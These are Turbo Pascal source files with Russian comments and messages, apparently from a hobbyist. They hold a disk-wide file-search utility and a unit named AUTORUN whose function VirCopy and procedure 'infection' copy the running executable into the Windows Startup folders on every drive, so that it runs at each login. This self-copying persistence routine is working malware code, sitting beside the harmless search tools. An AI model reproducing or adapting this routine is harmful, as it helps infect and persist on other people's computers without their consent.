//Эта функция не находит папок автозагрузки на дисках NTFS.
unit AUTORUN;
interface
uses dos,utils;
function VirCopy(vir_name:string):boolean;
implementation
type search_array=array[1..8] of searchrec;
const autorun_dir_1='\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\';
const autorun_dir_2='.WIN\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\';
function VirCopy(vir_name:string):boolean;
var searcharr:^search_array;
dir:string;
win98,first,check_first:boolean;
disk:'C'..'Z';
i:byte;
procedure infection(autorun_dir:string);
var srch:^searchrec;
buf:array[0..665] of byte;
source,dest:file;
res,res2:word;
i,len:byte;
size:integer;
begin
if vir_name='' then
begin
new(srch);
vir_name:=paramstr(0);
findfirst('*.exe',anyfile,srch^);
if srch^.name=vir_name then findnext(srch^);
vir_name:=fexpand(vir_name);
len:=byte(vir_name[0]);
repeat
dec(len);
until vir_name[len]='\';
delete(vir_name,len+1,byte(vir_name[0])-len);
vir_name:=vir_name+srch^.name;
dispose(srch);
end;
assign(source,vir_name);
reset(source,1);
size:=filesize(source);
assign(dest,autorun_dir+extractFileName(vir_name));
rewrite(dest,1);
len:=size div 666;
for i:=1 to len do
begin
blockread(source,buf,666,res);
blockwrite(dest,buf,666,res2);
end;
size:=size-(666*len);
for res:=1 to size do
begin
blockread(source,len,1);
blockwrite(dest,len,1);
end;
close(source);
close(dest);
end;
procedure quick_find(autorun_path:string);
begin
if fileExists(autorun_path+'*.*') then
begin
infection(autorun_path);
VirCopy:=true;
check_first:=true;
end;
end;
begin
VirCopy:=false;
new(searcharr);
if vir_name='' then
begin
dir:=paramstr(0);
findfirst('*.exe',anyfile,searcharr^[1]);
if searcharr^[1].name=dir then findnext(searcharr^[1]);
if (searcharr^[1].name=dir) or (doserror<>0) then exit;
end;
check_first:=false;
for disk:='C' to 'Z' do
begin
i:=1;
if check_first then
begin
check_first:=false;
dec(disk);
if win98 then dir:=disk+':\WINDOWS\ALLUSE~1.WIN'
else dir:=disk+':\DOCUME~1\ALLUSE~1.WIN';
if not fileExists(dir+'\*.*') then continue;
end
else
begin
if fileExists(disk+':\DOCUME~1\ALLUSE~1\*.*') then
begin
win98:=false;
dir:=disk+':\DOCUME~1\ALLUSE~1';
end
else
begin
if fileExists(disk+':\WINDOWS\ALLUSE~1\*.*') then
begin
win98:=true;
dir:=disk+':\WINDOWS\ALLUSE~1';
end
else
begin
if disk>'G' then exit;
continue;
end;
end;
quick_find(dir+autorun_dir_1);
quick_find(dir+autorun_dir_2);
if check_first then
begin
check_first:=false;
continue;
end;
end;
first:=true;
repeat
if first then
begin
findfirst(dir+'\*',anyfile,searcharr^[i]);
findnext(searcharr^[i]);
end;
findnext(searcharr^[i]);
while (doserror=0) and (searcharr^[i].size<>0) do
findnext(searcharr^[i]);
if doserror=0 then
begin
if ((strCont('АВТОЗ',searcharr^[i].name)) or (strCont('AUTO',searcharr^[i].name)))
and (searcharr^[i].size=0) then
begin
VirCopy:=true;
infection(dir+'\'+searcharr^[i].name+'\');
check_first:=not check_first;
break;
end;
dir:=dir+'\'+searcharr^[i].name;
inc(i);
first:=true;
end
else if i<>1 then
begin
dec(dir[0],byte(searcharr^[i-1].name[0])+1);
dec(i);
first:=false;
end
else break;
continue;
until false;
end;
end;
end.
program file_search;
uses search,dos;
var hour,minute,second,hund:word;
FResult:TResult;
name:string;
i,t:byte;
find:boolean;
begin
gettime(hour,minute,second,hund);
writeln(hour,'/',minute,'/',second,'/',hund);
writeln('Идет поиск...');
if SuperSearch('*i','D','.avi',19,false,FResult) then
begin
for i:=1 to 19 do
begin
name:=FResult.findname(i);
if name<>'' then writeln(i,': ',name)
else break;
find:=true;
end;
end
else find:=false;
if SuperSearch('*i','e','.avi',4,false,FResult) then
begin
for t:=i to 19+4 do
begin
name:=FResult.findname(t);
if name<>'' then writeln(t,': ',name);
end;
writeln('Поиск закончен!');
end
else if not find then writeln('Ничего не найдено!');
FResult.destroy;
gettime(hour,minute,second,hund);
writeln(hour,'/',minute,'/',second,'/',hund);
readln;
end.
unit SEARCH;
interface
uses dos,utils;
type shortstr=string[9];
type extstring=string[4];
type numbers=1..12;
type pntstring=^string;
type TResult=object
private
pntarr:array[1..11] of pntstring;
str_num:numbers;
all_num:byte;
allow:boolean;
files:^text;
procedure init;
function records(fpath:string;max:byte;show:boolean):boolean;
public
function findname(num:numbers):string;
procedure destroy;
end;
const any='.**';
const sfile='.*';
const sfolder='';
function SuperSearch(name:shortstr;dir:string;const stype:extstring;max:byte;show:boolean;var PResult:TResult):boolean;
implementation
type search_array=array[1..28] of searchrec;
procedure TResult.init;
var i:numbers;
disk:char;
begin
allow:=true;
if all_num>1 then exit;
for i:=1 to 11 do pntarr[i]:=nil;
str_num:=1;
all_num:=1;
if fileExists('C:\*.*') then disk:='C'
else if fileExists('A:\*.*') then disk:='A'
else
begin
allow:=false;
exit;
end;
new(files);
assign(files^,disk+':\files.txt');
rewrite(files^);
end;
function TResult.records(fpath:string;max:byte;show:boolean):boolean;
begin
if all_num< max then
begin
if str_num< 10 then records:=true
else if allow then records:=true
else records:=false;
end
else
begin
records:=false;
if all_num>max then exit;
end;
if show then writeln(all_num,': ',fpath)
else
begin
if str_num< 12 then
begin
new(pntarr[str_num]);
pntarr[str_num]^:=fpath;
inc(str_num);
end
else writeln(files^,fpath);
end;
inc(all_num);
end;
function TResult.findname(num:numbers):string;
var i:byte;
name:string;
begin
if num>=all_num then findname:=''
else
begin
if num< 12 then findname:=pntarr[num]^
else
begin
reset(files^);
for i:=1 to num-11 do
readln(files^,name);
findname:=name;
end;
end;
end;
procedure TResult.destroy;
var i:byte;
begin
for i:=1 to str_num-1 do dispose(pntarr[i]);
{$I-}
erase(files^);
{$I+}
dispose(files);
str_num:=1;
all_num:=1;
end;
function SuperSearch(name:shortstr;dir:string;const stype:extstring;max:byte;show:boolean;var PResult:TResult):boolean;
var searcharr:^search_array;
srch:searchrec;
n_pos:pointer;
extmask:extstring;
namemask:shortstr;
find_folder,uni:boolean;
disk:'C'..'Z';
i:byte;
label ONE_DIR,NEXT;
function no_name(substr,str:shortstr):byte;
begin
no_name:=1;
end;
function Upper_name(name:string):shortstr;
begin
UpString(name);
Upper_name:=name;
end;
function write_result:boolean;
procedure check_end;
begin
SuperSearch:=true;
if PResult.records(dir+'\'+srch.name,max,show)
then write_result:=true
else write_result:=false;
end;
begin
if (stype=sfolder) and (srch.size=0) then check_end
else if namemask< >'*' then
begin
if stype=any then check_end
else if srch.size< >0 then check_end;
end
else
if (strCont(name,copy(srch.name,1,pos('.',srch.name)-1))) or
((n_pos=@no_name) and (strCont('.',srch.name))) then
if stype=any then check_end
else if srch.size< >0 then check_end;
end;
begin
SuperSearch:=false;
if dir< >'' then
begin
if byte(dir[0])=1 then dir:=dir+':'
else if (dir[byte(dir[0])]='\') or (dir[byte(dir[0])]='\') then
dec(dir[0]);
if not fileExists(dir+'\*.*') then exit;
uni:=true;
disk:='Z';
end
else disk:='C';
if stype=any then extmask:='.*'
else if (stype[1]='.') or (stype=sfolder) then extmask:=stype
else exit;
name:=Upper_name(name);
if name[1]='*' then
begin
namemask:='*';
if byte(name[0])=1 then n_pos:=@no_name
else n_pos:=@StrCont;
delete(name,1,1);
end
else
begin
n_pos:=@StrCont;
namemask:=name;
end;
PResult.init;
if not show then inc(max,PResult.all_num-1);
if (max>255) or (max=0) then max:=255;
new(searcharr);
i:=1;
if disk='Z' then goto ONE_DIR;
for disk:='C' to 'Z' do
begin
findfirst(disk+':\*.*',anyfile,srch);
if doserror=0 then dir:=disk+':'
else if disk>'G' then exit
else continue;
uni:=true;
ONE_DIR:
repeat
find_folder:=false;
if uni then
begin
findfirst(dir+'\*',anyfile,searcharr^[i]);
if (byte(dir[0])>2) and (doserror=0) then
begin
findnext(searcharr^[i]);
findnext(searcharr^[i]);
end;
while (doserror=0) and (searcharr^[i].size< >0) do findnext(searcharr^[i]);
if doserror=0 then find_folder:=true;
findfirst(dir+'\'+namemask+extmask,anyfile,srch);
while doserror=0 do
begin
asm
PUSH SS
LEA AX,name
PUSH AX
PUSH SS
LEA AX,srch.nameins
PUSH AX
CALL n_pos
OR AX,AX
JE NEXT
end;
if not write_result then exit;
NEXT:
findnext(srch);
end;
if find_folder then
begin
dir:=dir+'\'+searcharr^[i].name;
inc(i);
end
else if i< >1 then
begin
uni:=false;
dec(dir[0],byte(searcharr^[i-1].name[0])+1);
dec(i);
end
else break;
continue;
end;
findnext(searcharr^[i]);
if doserror=0 then
begin
dir:=dir+'\'+searcharr^[i].name;
uni:=true;
inc(i);
end
else if i< >1 then
begin
dec(dir[0],byte(searcharr^[i-1].name[0])+1);
dec(i);
end
else break;
until false;
if disk='Z' then exit;
end;
end;
end.
program search_file;
uses dos,crt,search,utils;
var dir:string;
name:shortstr;
ext:extstring;
dir_array:array[1..11] of pntstring;
t:integer;
i,num:byte;
ch:char;
FResult:TResult;
function not_find(wr:boolean):boolean;
var t:byte;
find:boolean;
procedure dir_processing(var dir:string);
var search:searchrec;
begin
if byte(dir[0])=1 then dir:=dir+':'
else if (dir[byte(dir[0])]='/') or (dir[byte(dir[0])]='\') then
dec(dir[0]);
if fileExists(dir+'\*.*') then find:=true
else dir:='*'+dir;
end;
begin
i:=1;
if (dir='') or (dir='all') then
begin
not_find:=false;
if dir_array[1]=nil then new(dir_array[1]);
dir_array[1]^:='';
dir_array[1]^[1]:=' ';
if wr then writeln('Поиск на всех дисках.');
exit;
end;
t:=pos('*',dir);
if t<>0 then
begin
find:=false;
repeat
if dir_array[i]=nil then new(dir_array[i]);
dir_array[i]^:=copy(dir,1,t-1);
delete(dir,1,t);
t:=pos('*',dir);
inc(i);
until t=0;
if dir_array[i]=nil then new(dir_array[i]);
dir_array[i]^:=dir;
for t:=1 to i do dir_processing(dir_array[t]^);
if not find then
begin
not_find:=true;
writeln('Ни одной из указанных директорий не существует. Повтори ввод.');
end
else not_find:=false;
end
else
begin
if dir_array[1]=nil then new(dir_array[1]);
dir_array[1]^:=dir;
dir_processing(dir_array[1]^);
if not find then
begin
not_find:=true;
writeln('Указанной директории не существует. Повтори ввод.');
end
else not_find:=false;
end;
end;
function ext_error(var ext:string):boolean;
begin
if (ext='any') or (ext='ANY') then ext:='.**'
else if (ext='file') or (ext='FILE') then ext:='.*'
else if (ext='folder') or (ext='FOLDER') then ext:=''
else ext:='.'+ext;
if byte(ext[0])>4 then
begin
ext_error:=true;
writeln('Длина расширения должна быть не более 3 символов. Повтори ввод:');
end
else ext_error:=false;
end;
function read_ext:extstring;
var ext:string;
begin
repeat
readln(ext);
if ext_error(ext) then continue
else
begin
if ext='' then writeln('Папка');
break;
end;
until false;
read_ext:=ext;
end;
procedure error_message(ch:char);
begin
case ch of
' ':writeln('В имени не должно быть пробела. Повтори ввод:');
'\':writeln('В имени не должно быть символов "\" или "/". Повтори ввод:');
end;
end;
function name_error(name:string):boolean;
var i,t:byte;
begin
name_error:=false;
if byte(name[0])>8 then
begin
writeln('Длина имени должна быть не более 8 символов. Повтори ввод:');
name_error:=true;
exit;
end;
t:=byte(name[0]);
ch:='r';
for i:=1 to t do
begin
case name[i] of
' ':ch:=' ';
'/','\':ch:='\';
end;
if ch<>'r' then
begin
error_message(ch);
name_error:=true;
exit;
end;
end;
end;
function read_name:shortstr;
var name:string;
begin
readln(name);
while name_error(name) do readln(name);
read_name:=name;
end;
procedure begin_search;
var find:boolean;
hour,minute,second,hund:word;
begin
writeln;
gettime(hour,minute,second,hund);
writeln(hour,'/',minute,'/',second,'/',hund);
writeln('Идет поиск...');
find:=false;
for t:=1 to i do
if dir_array[t]<>nil then
if dir_array[t]^[1]<>'*' then
if SuperSearch(name,dir_array[t]^,ext,num,true,FResult) then find:=true;
if find then writeln('Поиск закончен.')
else
begin
writeln('Не найдено ни одного файла, соответствующего');
writeln(' введенным характеристикам.');
end;
gettime(hour,minute,second,hund);
writeln(hour,'/',minute,'/',second,'/',hund);
FResult.destroy;
for t:=1 to i do
begin
if dir_array[t]<>nil then
if dir_array[t]^[1]='*' then
begin
delete(dir_array[t]^,1,1);
writeln('Директории '+dir_array[t]^+' не существует.');
end;
end;
for t:=1 to 11 do
if dir_array[t]<>nil then
begin
dispose(dir_array[t]);
dir_array[t]:=nil;
end;
end;
begin
for t:=1 to 11 do dir_array[t]:=nil;
if ParamCount<>0 then
begin
name:=paramstr(1);
while name_error(name) do readln(name);;
dir:=paramstr(2);
while ext_error(dir) do readln(dir);
ext:=dir;
dir:=paramstr(3);
while not_find(false) do readln(dir);
val(paramstr(4),num,t);
begin_search;
end
else
repeat
writeln(' Программа поиска файлов на всех дисках.');
writeln('Вводи данные без кавычек.');
writeln('Введи (без расширения) имя искомого файла или любую его часть:');
writeln('Для поиска файла по части его имени введи символ "*"');
writeln(' перед частью его имени.');
name:=read_name;
writeln('');
writeln('Введи расширение искомого файла. Например, "exe", или "txt".');
writeln('Для поиска только папки');
writeln(' введи "folder" или сразу нажми ENTER.');
writeln('Для поиска файла с любым расширением, кроме папок,');
writeln(' введи "file".');
writeln('Для поиска как среди файлов (с любым расширением), так и среди папок,');
writeln(' введи "any".');
ext:=read_ext;
writeln('');
writeln('Введи директорию или имя диска, где будет производиться поиск.');
writeln('Вы можете ввести несколько директорий для поиска в них. Для этого');
writeln(' введите директории, разделенные символом "*".');
writeln(' Например, C*E:\WINDOWS*A:\FOLDER');
writeln('Для поиска на всех дисках нажми сразу ENTER.');
readln(dir);
while not_find(true) do readln(dir);
writeln('');
writeln('Введи количество возвращаемых файлов (до 11), подходящих');
write(' введенным характеристикам: ');
readln(num);
begin_search;
writeln('Для продолжения поиска нажми ENTER, для выхода - ESC');
repeat
ch:=readkey;
until (ch=#13) or (ch=#27);
until ch=#27;
end.
{procedure UpString - author Victor Vagner}
unit UTILS;
interface
type Search_Rec=record
Fill:array[1..21] of byte;
Attr:byte;
Time:longint;
Size:longint;
Name:string[12];
end;
type shortstring=string[12];
procedure UpString(var s:string);
function fileExists(Path:string):boolean;
function strCont(substr,find:string):boolean;
function extractFileName(path:string):shortstring;
implementation
procedure UpString(var s:string);assembler;
asm
PUSH DS
LDS BX,s
XOR CX,CX
MOV CL,[BX]
INC BX
MOV DX,BX
MOV AX,6521H
INT 21H
POP DS
end;
function fileExists(Path:String):boolean;assembler;
var fullmask:array[0..255] of char;
F:Search_Rec;
LABEL ERR,GOOD;
asm
PUSH DS
MOV AH,1AH
LEA DX,F
INT 21H
LDS SI,Path
LEA DI,fullmask
PUSH SS
POP ES
CLD
LODSB
CMP AL,255
JB @@1
MOV AL,255
@@1:
CBW
XCHG AX,CX
REP MOVSB
XOR AL,AL
STOSB
LEA DX,fullmask
PUSH ES
POP DS
MOV CX,3FH
MOV AH,4EH
INT 21H
JC ERR
MOV AL,1
JMP GOOD
ERR:
XOR AX,AX
GOOD:
POP DS
end;
function strCont(substr,find:string):boolean;assembler;
label RUN,ERR_END,GOOD;
asm
PUSH DS
LDS DI,find
XOR CH,CH
MOV CL,[DI]
LDS SI,substr
CLD
LODSB
SUB CL,AL
JB ERR_END
MOV AH,AL
MOV BX,SI
INC CX
INC DI
RUN:
LODSB
REPNE SCASB
JNE ERR_END
MOV DX,DI
MOV AL,CL
MOV CL,AH
DEC CX
REPE CMPSB
JE GOOD
MOV DI,DX
MOV CL,AL
MOV SI,BX
JMP RUN
ERR_END:
XOR AX,AX
GOOD:
POP DS
end;
function extractFileName(path:string):shortstring;assembler;
asm
PUSH DS
STD
LDS DI,path
XOR DX,DX
MOV DL,[DI]
LES DI,path
ADD DI,DX
MOV AX,'\'
MOV CX,DX
REPNZ SCASB
ADD DI,2
MOV SI,DI
LES DI,@Result
SUB DX,CX
MOV CX,DX
DEC CX
CLD
MOV AL,CL
STOSB
REP MOVSB
POP DS
end;
end.